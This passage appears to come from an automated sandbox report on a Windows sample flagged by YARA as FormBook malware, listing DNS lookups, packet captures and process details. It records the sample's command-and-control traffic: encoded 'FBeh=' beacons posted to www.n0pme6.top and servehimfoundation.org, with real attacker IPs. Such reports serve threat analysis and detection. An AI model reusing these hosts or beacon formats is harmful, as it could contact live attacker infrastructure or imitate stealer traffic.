                            Oct 8, 2024 15:45:37.631608009 CEST4997080192.168.2.784.32.84.32
                            Oct 8, 2024 15:45:37.633117914 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:37.633128881 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:37.633255959 CEST4997080192.168.2.784.32.84.32
                            Oct 8, 2024 15:45:37.634542942 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:37.634555101 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:37.634598970 CEST4997080192.168.2.784.32.84.32
                            Oct 8, 2024 15:45:37.635994911 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:37.636006117 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:37.636014938 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:37.636054993 CEST4997080192.168.2.784.32.84.32
                            Oct 8, 2024 15:45:37.636087894 CEST4997080192.168.2.784.32.84.32
                            Oct 8, 2024 15:45:37.699570894 CEST4997080192.168.2.784.32.84.32
                            Oct 8, 2024 15:45:37.704513073 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:53.328675032 CEST4997180192.168.2.7198.44.251.203
                            Oct 8, 2024 15:45:53.333714962 CEST8049971198.44.251.203192.168.2.7
                            Oct 8, 2024 15:45:53.333842993 CEST4997180192.168.2.7198.44.251.203
                            Oct 8, 2024 15:45:53.345212936 CEST4997180192.168.2.7198.44.251.203
                            Oct 8, 2024 15:45:53.350131989 CEST8049971198.44.251.203192.168.2.7
                            Oct 8, 2024 15:45:54.852327108 CEST4997180192.168.2.7198.44.251.203
                            Oct 8, 2024 15:45:54.899885893 CEST8049971198.44.251.203192.168.2.7
                            Oct 8, 2024 15:45:55.871269941 CEST4997280192.168.2.7198.44.251.203
                            Oct 8, 2024 15:45:55.876193047 CEST8049972198.44.251.203192.168.2.7
                            Oct 8, 2024 15:45:55.876271963 CEST4997280192.168.2.7198.44.251.203
                            Oct 8, 2024 15:45:55.887814045 CEST4997280192.168.2.7198.44.251.203
                            Oct 8, 2024 15:45:55.892756939 CEST8049972198.44.251.203192.168.2.7
                            Oct 8, 2024 15:45:57.399174929 CEST4997280192.168.2.7198.44.251.203
                            Oct 8, 2024 15:45:57.451844931 CEST8049972198.44.251.203192.168.2.7
                            Oct 8, 2024 15:45:58.439553976 CEST4997380192.168.2.7198.44.251.203
                            Oct 8, 2024 15:45:58.444694042 CEST8049973198.44.251.203192.168.2.7
                            Oct 8, 2024 15:45:58.444761992 CEST4997380192.168.2.7198.44.251.203
                            Oct 8, 2024 15:45:58.471081018 CEST4997380192.168.2.7198.44.251.203
                            Oct 8, 2024 15:45:58.477372885 CEST8049973198.44.251.203192.168.2.7
                            Oct 8, 2024 15:45:58.477407932 CEST8049973198.44.251.203192.168.2.7
                            Oct 8, 2024 15:45:59.977237940 CEST4997380192.168.2.7198.44.251.203
                            Oct 8, 2024 15:46:00.279649019 CEST8049973198.44.251.203192.168.2.7
                            Oct 8, 2024 15:46:01.065810919 CEST4997480192.168.2.7198.44.251.203
                            Oct 8, 2024 15:46:01.071067095 CEST8049974198.44.251.203192.168.2.7
                            Oct 8, 2024 15:46:01.071204901 CEST4997480192.168.2.7198.44.251.203
                            Oct 8, 2024 15:46:01.108316898 CEST4997480192.168.2.7198.44.251.203
                            Oct 8, 2024 15:46:01.113451958 CEST8049974198.44.251.203192.168.2.7
                            Oct 8, 2024 15:46:14.691507101 CEST8049971198.44.251.203192.168.2.7
                            Oct 8, 2024 15:46:14.691728115 CEST4997180192.168.2.7198.44.251.203
                            Oct 8, 2024 15:46:17.266608953 CEST8049972198.44.251.203192.168.2.7
                            Oct 8, 2024 15:46:17.266758919 CEST4997280192.168.2.7198.44.251.203
                            Oct 8, 2024 15:46:19.831867933 CEST8049973198.44.251.203192.168.2.7
                            Oct 8, 2024 15:46:19.835880041 CEST4997380192.168.2.7198.44.251.203

                            UDP Packets

                            TimestampSource PortDest PortSource IPDest IP
                            Oct 8, 2024 15:45:31.479403019 CEST5293653192.168.2.71.1.1.1
                            Oct 8, 2024 15:45:31.488852024 CEST53529361.1.1.1192.168.2.7
                            Oct 8, 2024 15:45:36.496467113 CEST5289153192.168.2.71.1.1.1
                            Oct 8, 2024 15:45:37.138461113 CEST53528911.1.1.1192.168.2.7
                            Oct 8, 2024 15:45:52.775178909 CEST5052253192.168.2.71.1.1.1
                            Oct 8, 2024 15:45:53.325781107 CEST53505221.1.1.1192.168.2.7

                            DNS Queries

                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                            Oct 8, 2024 15:45:31.479403019 CEST192.168.2.71.1.1.10xcbc5Standard query (0)www.timetime.storeA (IP address)IN (0x0001)false
                            Oct 8, 2024 15:45:36.496467113 CEST192.168.2.71.1.1.10x79e5Standard query (0)www.servehimfoundation.orgA (IP address)IN (0x0001)false
                            Oct 8, 2024 15:45:52.775178909 CEST192.168.2.71.1.1.10x4d28Standard query (0)www.n0pme6.topA (IP address)IN (0x0001)false

                            DNS Answers

                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                            Oct 8, 2024 15:45:31.488852024 CEST1.1.1.1192.168.2.70xcbc5Name error (3)www.timetime.storenonenoneA (IP address)IN (0x0001)false
                            Oct 8, 2024 15:45:37.138461113 CEST1.1.1.1192.168.2.70x79e5No error (0)www.servehimfoundation.orgservehimfoundation.orgCNAME (Canonical name)IN (0x0001)false
                            Oct 8, 2024 15:45:37.138461113 CEST1.1.1.1192.168.2.70x79e5No error (0)servehimfoundation.org84.32.84.32A (IP address)IN (0x0001)false
                            Oct 8, 2024 15:45:53.325781107 CEST1.1.1.1192.168.2.70x4d28No error (0)www.n0pme6.top198.44.251.203A (IP address)IN (0x0001)false
                            Oct 8, 2024 15:45:53.325781107 CEST1.1.1.1192.168.2.70x4d28No error (0)www.n0pme6.top198.44.251.51A (IP address)IN (0x0001)false

                            HTTP Request Dependency Graph

                            • www.servehimfoundation.org
                            • www.n0pme6.top

                            HTTP Packets

                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            0192.168.2.74997084.32.84.32806824C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe
                            TimestampBytes transferredDirectionData
                            Oct 8, 2024 15:45:37.158478022 CEST532OUTGET /wlo5/?FBeh=CM5svj/Jqf1poSHeMj5/r+NnqEfLZZItIQ95L2yXLG/JG/00oonc4yb62CzIQH5xpFXAP6Ke6nqsuzHIo+F+y7v4YQSe8tbNC1hB8RVd0xhKZiYo2oKcfdFxxvEt5bq2V2swyTcdbe6T&DfhDq=hvZ8HhLP1L HTTP/1.1
                            Host: www.servehimfoundation.org
                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                            Accept-Language: en-US,en;q=0.9
                            Connection: close
                            User-Agent: Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36
                            Oct 8, 2024 15:45:37.630897999 CEST1236INHTTP/1.1 200 OK
                            Server: hcdn
                            Date: Tue, 08 Oct 2024 13:45:37 GMT
                            Content-Type: text/html
                            Content-Length: 10072
                            Connection: close
                            Vary: Accept-Encoding
                            alt-svc: h3=":443"; ma=86400
                            x-hcdn-request-id: 5fc10a0b0f8f7885a6e2c92bcf9ffda1-bos-edge1
                            Expires: Tue, 08 Oct 2024 13:45:36 GMT
                            Cache-Control: no-cache
                            Accept-Ranges: bytes
                            Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED]
                            Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"
                            Oct 8, 2024 15:45:37.631547928 CEST1236INData Raw: 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61
                            Data Ascii: Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600
                            Oct 8, 2024 15:45:37.631556988 CEST1236INData Raw: 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65
                            Data Ascii: x;font-size:13px;padding-left:5px;padding-right:5px}.navbar-nav>li>a:hover{text-decoration:none;color:#cdc3ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-c
                            Oct 8, 2024 15:45:37.633117914 CEST1236INData Raw: 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 69 6e 76 65 72 73 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f
                            Data Ascii: r:#fff!important}.navbar{border-radius:0!important}.navbar-inverse{background-color:#36344d;border:none}.column-custom-wrap{padding-top:10px 20px}.badge{font-size:12px;line-height:16px;min-height:20px;min-width:20px;vertical-align:middle;text-
                            Oct 8, 2024 15:45:37.633128881 CEST1236INData Raw: 65 6c 63 6f 6d 65 2f 69 6d 61 67 65 73 2f 68 6f 73 74 69 6e 67 65 72 2d 6c 6f 67 6f 2e 73 76 67 20 61 6c 74 3d 48 6f 73 74 69 6e 67 65 72 20 77 69 64 74 68 3d 31 32 30 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c
                            Data Ascii: elcome/images/hostinger-logo.svg alt=Hostinger width=120></a></div><div class="collapse navbar-collapse" id=myNavbar><ul class="nav navbar-links navbar-nav navbar-right"><li><a href=https://www.hostinger.com/tutorials rel=nofollow><i aria-hidd
                            Oct 8, 2024 15:45:37.634542942 CEST1120INData Raw: 78 20 63 6f 6c 75 6d 6e 2d 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 31 32 20 63 6f 6c 2d 73 6d 2d 34 20 63 6f 6c 75 6d 6e 2d 63 75 73 74 6f 6d 2d 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 6f 6c 75 6d
                            Data Ascii: x column-wrap"><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title><span style=margin-right:8px>Buy website hosting </span><span class=badge>Save 90%</span></div><br><p>Extremely fast, secure and
                            Oct 8, 2024 15:45:37.634555101 CEST1236INData Raw: 76 65 72 73 2d 61 74 2d 68 6f 73 74 69 6e 67 65 72 20 72 65 6c 3d 6e 6f 66 6f 6c 6c 6f 77 3e 43 68 61 6e 67 65 20 6e 61 6d 65 73 65 72 76 65 72 73 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76
                            Data Ascii: vers-at-hostinger rel=nofollow>Change nameservers</a></div></div></div></div></div><script>var punycode=new function(){this.utf16={decode:function(o){for(var r,e,n=[],t=0,a=o.length;t<a;){if(55296==(63488&(r=o.charCodeAt(t++)))){if(e=o.charCod
                            Oct 8, 2024 15:45:37.635994911 CEST1236INData Raw: 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 69 66 28 76 3d 65 2e 63 68 61 72 43 6f 64 65 41 74 28 64 2b 2b 29 2c 6f 3c 3d 28 73 3d 76 2d 34 38 3c 31 30 3f 76 2d 32 32 3a 76 2d 36 35 3c 32 36 3f 76 2d 36
                            Data Ascii: ror("punycode_bad_input(1)");if(v=e.charCodeAt(d++),o<=(s=v-48<10?v-22:v-65<26?v-65:v-97<26?v-97:o))throw RangeError("punycode_bad_input(2)");if(s>Math.floor((r-f)/p))throw RangeError("punycode_overflow(1)");if(f+=s*p,s<(C=g<=i?1:i+26<=g?26:g-
                            Oct 8, 2024 15:45:37.636006117 CEST640INData Raw: 29 29 3b 67 2b 3d 6f 29 79 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 28 73 2b 28 70 2d 73 29 25 28 6f 2d 73 29 2c 30 29 29 29 2c 70 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 28 70 2d 73 29 2f 28 6f 2d 73 29 29 3b
                            Data Ascii: ));g+=o)y.push(String.fromCharCode(e(s+(p-s)%(o-s),0))),p=Math.floor((p-s)/(o-s));y.push(String.fromCharCode(e(p,a&&w[d]?1:0))),u=n(f,i+1,i==c),f=0,++i}}++f,++h}return y.join("")},this.ToASCII=function(o){for(var r=o.split("."),e=[],n=0;n<r.le


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            1192.168.2.749971198.44.251.203806824C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe
                            TimestampBytes transferredDirectionData
                            Oct 8, 2024 15:45:53.345212936 CEST775OUTPOST /2i77/ HTTP/1.1
                            Host: www.n0pme6.top
                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                            Accept-Language: en-US,en;q=0.9
                            Accept-Encoding: gzip, deflate, br
                            Origin: http://www.n0pme6.top
                            Content-Length: 217
                            Cache-Control: no-cache
                            Content-Type: application/x-www-form-urlencoded
                            Connection: close
                            Referer: http://www.n0pme6.top/2i77/
                            User-Agent: Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36
                            Data Raw: 46 42 65 68 3d 47 52 6d 6a 73 65 46 68 43 55 65 4e 32 2f 6d 65 57 59 46 78 4a 44 46 71 72 67 6f 65 6c 72 49 6e 4c 72 76 53 53 38 37 65 4d 48 33 43 51 67 6c 79 54 76 2f 79 2f 38 58 6c 73 47 4b 34 38 5a 36 68 35 46 5a 4c 6b 4f 77 67 65 37 58 70 2f 65 4c 72 49 45 39 4c 4a 31 64 65 57 62 7a 48 38 4f 37 73 71 62 4a 4e 4a 58 61 31 58 70 68 47 47 35 4e 79 68 70 35 71 2f 47 59 56 42 47 2f 74 39 2b 4c 66 31 63 41 56 73 36 4b 44 4c 50 38 35 61 75 66 48 31 65 6b 53 33 41 76 31 6d 49 51 37 47 45 45 55 79 57 4b 70 34 44 43 58 72 62 35 38 73 43 70 38 30 46 58 64 2f 46 44 4a 70 33 58 6b 6d 32 71 34 55 6d 41 7a 39 30 36 66 51 59 77 45 38 66 77 57 45 41 3d 3d
                            Data Ascii: FBeh=GRmjseFhCUeN2/meWYFxJDFqrgoelrInLrvSS87eMH3CQglyTv/y/8XlsGK48Z6h5FZLkOwge7Xp/eLrIE9LJ1deWbzH8O7sqbJNJXa1XphGG5Nyhp5q/GYVBG/t9+Lf1cAVs6KDLP85aufH1ekS3Av1mIQ7GEEUyWKp4DCXrb58sCp80FXd/FDJp3Xkm2q4UmAz906fQYwE8fwWEA==


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            2192.168.2.749972198.44.251.203806824C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe
                            TimestampBytes transferredDirectionData
                            Oct 8, 2024 15:45:55.887814045 CEST795OUTPOST /2i77/ HTTP/1.1
                            Host: www.n0pme6.top
                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                            Accept-Language: en-US,en;q=0.9
                            Accept-Encoding: gzip, deflate, br
                            Origin: http://www.n0pme6.top
                            Content-Length: 237
                            Cache-Control: no-cache
                            Content-Type: application/x-www-form-urlencoded
                            Connection: close
                            Referer: http://www.n0pme6.top/2i77/
                            User-Agent: Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36
                            Data Raw: 46 42 65 68 3d 47 52 6d 6a 73 65 46 68 43 55 65 4e 33 66 57 65 55 37 74 78 49 6a 46 74 79 51 6f 65 72 37 49 72 4c 72 6a 53 53 35 61 44 4d 53 76 43 65 6c 68 79 53 74 58 79 79 63 58 6c 6b 6d 4b 48 79 35 36 63 35 46 6b 32 6b 4d 6b 67 65 2f 2f 70 2f 66 37 72 49 33 56 49 4a 6c 64 6d 44 4c 7a 4a 79 75 37 73 71 62 4a 4e 4a 58 66 75 58 74 4e 47 47 49 39 79 68 49 35 74 68 32 59 57 41 47 2f 74 33 75 4c 68 31 63 42 32 73 2b 4b 6c 4c 4c 4d 35 61 73 33 48 30 4c 45 52 35 77 76 4a 6f 6f 52 79 43 48 31 46 37 32 4f 50 68 41 4b 52 76 49 78 4a 74 30 30 65 75 6e 62 78 68 55 37 79 74 31 7a 53 78 51 33 4e 57 6e 45 72 77 57 4f 2b 50 76 56 75 78 4e 52 53 53 2f 50 43 63 73 34 33 6e 36 68 7a 59 32 6a 6d 45 7a 53 77 32 39 67 3d
                            Data Ascii: FBeh=GRmjseFhCUeN3fWeU7txIjFtyQoer7IrLrjSS5aDMSvCelhyStXyycXlkmKHy56c5Fk2kMkge//p/f7rI3VIJldmDLzJyu7sqbJNJXfuXtNGGI9yhI5th2YWAG/t3uLh1cB2s+KlLLM5as3H0LER5wvJooRyCH1F72OPhAKRvIxJt00eunbxhU7yt1zSxQ3NWnErwWO+PvVuxNRSS/PCcs43n6hzY2jmEzSw29g=


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            3192.168.2.749973198.44.251.203806824C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe
                            TimestampBytes transferredDirectionData
                            Oct 8, 2024 15:45:58.471081018 CEST1808OUTPOST /2i77/ HTTP/1.1
                            Host: www.n0pme6.top
                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                            Accept-Language: en-US,en;q=0.9
                            Accept-Encoding: gzip, deflate, br
                            Origin: http://www.n0pme6.top
                            Content-Length: 1249
                            Cache-Control: no-cache
                            Content-Type: application/x-www-form-urlencoded
                            Connection: close
                            Referer: http://www.n0pme6.top/2i77/
                            User-Agent: Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36
                            Data Raw: 46 42 65 68 3d 47 52 6d 6a 73 65 46 68 43 55 65 4e 33 66 57 65 55 37 74 78 49 6a 46 74 79 51 6f 65 72 37 49 72 4c 72 6a 53 53 35 61 44 4d 53 6e 43 65 54 64 79 54 4d 58 79 7a 63 58 6c 75 47 4b 38 79 35 36 4e 35 42 78 78 6b 4d 35 62 65 35 37 70 2b 35 76 72 4b 47 56 49 43 6c 64 6d 62 37 7a 45 38 4f 36 32 71 62 5a 4a 4a 58 76 75 58 74 4e 47 47 4c 6c 79 6e 5a 35 74 6a 32 59 56 42 47 2f 62 39 2b 4b 4d 31 63 59 4e 73 2b 65 71 4c 59 45 35 61 4d 6e 48 32 34 73 52 37 51 76 78 34 34 52 71 43 48 34 64 37 32 53 35 68 44 57 2f 76 4c 52 4a 68 42 6f 48 39 57 4c 56 69 43 7a 56 72 54 33 4b 33 52 58 71 53 6c 64 54 33 46 36 6c 4c 74 70 46 6f 66 74 2f 48 72 4c 50 4c 76 59 69 6b 4b 4a 35 63 32 4b 49 52 68 4b 57 30 59 37 69 44 39 6d 30 57 6f 37 53 4c 53 6a 5a 59 62 63 59 50 6d 65 4a 50 75 49 47 33 6a 5a 41 53 72 44 51 66 57 56 69 5a 39 61 46 49 36 4f 46 49 65 44 6b 41 6b 36 62 64 6a 7a 70 31 71 70 72 55 79 53 33 59 65 33 38 45 49 56 6e 74 6b 76 6d 65 34 48 34 62 7a 32 73 6b 2b 6f 7a 73 58 45 6d 6f 31 58 75 39 52 4b 6c 6a [TRUNCATED]
                            Data Ascii: FBeh=GRmjseFhCUeN3fWeU7txIjFtyQoer7IrLrjSS5aDMSnCeTdyTMXyzcXluGK8y56N5BxxkM5be57p+5vrKGVICldmb7zE8O62qbZJJXvuXtNGGLlynZ5tj2YVBG/b9+KM1cYNs+eqLYE5aMnH24sR7Qvx44RqCH4d72S5hDW/vLRJhBoH9WLViCzVrT3K3RXqSldT3F6lLtpFoft/HrLPLvYikKJ5c2KIRhKW0Y7iD9m0Wo7SLSjZYbcYPmeJPuIG3jZASrDQfWViZ9aFI6OFIeDkAk6bdjzp1qprUyS3Ye38EIVntkvme4H4bz2sk+ozsXEmo1Xu9RKljeiBKIGkRyCRGIrFf1zH9HLBdIO4iPr9jJ+rvIIPDXpuDnqG1Zt6UIwTeo5W0l5C16pn4Jm5J1b8hYaS5P80Yx2elkYynhQtwSkHEV5BVZHbDYssI3BlsJ2y8YcNHTeXeaLzJ82fBDsV5ZwzyB2DBkrNFp9dSEbmaLhmBSxLCKRtpXTBR0wdzqb1Vx5bvDzWEPA/7w0NE8SJ9v94pars9LtdrjdH89LN2vgwUtFOJD3MLmP6aAfmUKP/fUoNFYDXWIt19R/qqiHdYSo0F8Be2LLt/GuUfDjJjKv/XOFyLE76itHs41IBAt9bZ95956IjgAN/K8Q+Xtqqe0xn0qF3NPVpg4tFx+WrEkXJxvWhclivdD0zN2+6kK4FC0JAgqGOp/34p3RNx/774JwpSYwS849lnvJZpBHMwPREeiIL6T3IcNXWGOFwA05n2yVv6mdN8qARkezF9RjW1YqeRu+TUWF4fx0MIrySToN1Tcpra1dCUeM8AWGpmIqKRgFdPeAAogSmg2h2FkUTpWk62VNY+AnlawCGsudrdKygvAuVGnUa4TmdvF5rI4VQ7UOSVPNvts16HuSmL+FOuoQFY7yLH8UOQeLZzWdH216Yj68tX+i3K03bEm0wcoABhZg/FALKUEsp224sNDKQeOUzR+dsGSGzWzdV+kewV18 [TRUNCATED]


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            4192.168.2.749974198.44.251.203806824C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe
                            TimestampBytes transferredDirectionData
                            Oct 8, 2024 15:46:01.108316898 CEST520OUTGET /2i77/?FBeh=LTODvrhkMVqC3PKCaJdvO2t6hDsejrMuF+eBTdKoQS/6ei5HfNTQm76vsHOzwLCg1kh0lrMBTIeoxNiIEVh8EQZRdYH26u2LqJt1YWeMJrh5ZIo+pKpB+Wc3K2X12eL+1JIO5dLCeoUs&DfhDq=hvZ8HhLP1L HTTP/1.1
                            Host: www.n0pme6.top
                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                            Accept-Language: en-US,en;q=0.9
                            Connection: close
                            User-Agent: Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36


                            Statistics

                            CPU Usage

                            Click to jump to process

                            Memory Usage

                            Click to jump to process

                            High Level Behavior Distribution

                            Click to dive into process behavior distribution

                            Behavior

                            Click to jump to process

                            System Behavior

                            General

                            Target ID:0
                            Start time:09:44:12
                            Start date:08/10/2024
                            Path:C:\Users\user\Desktop\oLCnCWQDhK.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Users\user\Desktop\oLCnCWQDhK.exe"
                            Imagebase:0x400000
                            File size:1'396'191 bytes
                            MD5 hash:6FB6B6CCF47F2867F674C818B974EA28
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:low
                            Has exited:true

                            General

                            Target ID:2
                            Start time:09:44:13
                            Start date:08/10/2024
                            Path:C:\Windows\SysWOW64\svchost.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Users\user\Desktop\oLCnCWQDhK.exe"
                            Imagebase:0xd10000
                            File size:46'504 bytes
                            MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1910782362.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1910782362.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1910510903.0000000000690000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1910510903.0000000000690000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1911128401.0000000003550000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1911128401.0000000003550000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                            Reputation:high
                            Has exited:true

                            General

                            Target ID:12
                            Start time:11:03:09
                            Start date:08/10/2024
                            Path:C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exe"
                            Imagebase:0xc60000
                            File size:140'800 bytes
                            MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Yara matches:
